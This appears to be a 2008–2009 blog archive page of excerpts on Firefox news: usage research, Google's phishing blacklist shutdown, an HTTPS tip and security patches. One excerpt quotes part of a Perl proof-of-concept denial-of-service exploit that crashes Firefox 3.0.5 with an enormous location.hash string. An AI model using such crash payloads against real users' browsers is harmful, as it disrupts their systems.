Saturday, January 24th, 2009
Mozilla Labs, the research arm of Mozilla Corp., wants 1% of Firefox users to allow it to watch how they use the browser -- and the Web in general.
"We need to know how people are using our products and using the Web," said Aza Raskin, the head of user ...
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Wednesday, January 21st, 2009
Although the two most-recent builds of Firefox 2.0, labeled 2.0.0.19 and 2.0.0.20, have omitted the defense, earlier editions of the browser were still able to query Google for a list of sites suspected of hosting identity theft scams. But Google is now shutting down the blacklist, said Mike Beltzner , ...
Posted in Internet, Privacy, Security | No Comments
Tuesday, December 23rd, 2008
Here's a quick little tip for users that might not know enough about internet security and privacy to stop and look for SSL/TLS (https://) when submitting forms on the web. Or maybe the form page itself is on an unencrypted page, but the data actually gets sent encrypted when the ...
Posted in Internet, Linux, Privacy, Security, Windows | 1 Comment
Tuesday, December 23rd, 2008
#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [
[email protected]/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename.html>\n\n";
}
$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" ...
Posted in Coding, Internet, Security | No Comments
Wednesday, December 17th, 2008
Mozilla has issued eight patches for its Firefox Web browser, three of which fix problems classified as critical.
The patches come after security experts have recommended using a browser other than Microsoft's Internet Explorer 7 and older versions of IE due to a dangerous vulnerability. Microsoft is due to release an ...
Posted in Internet, Security, Software | No Comments
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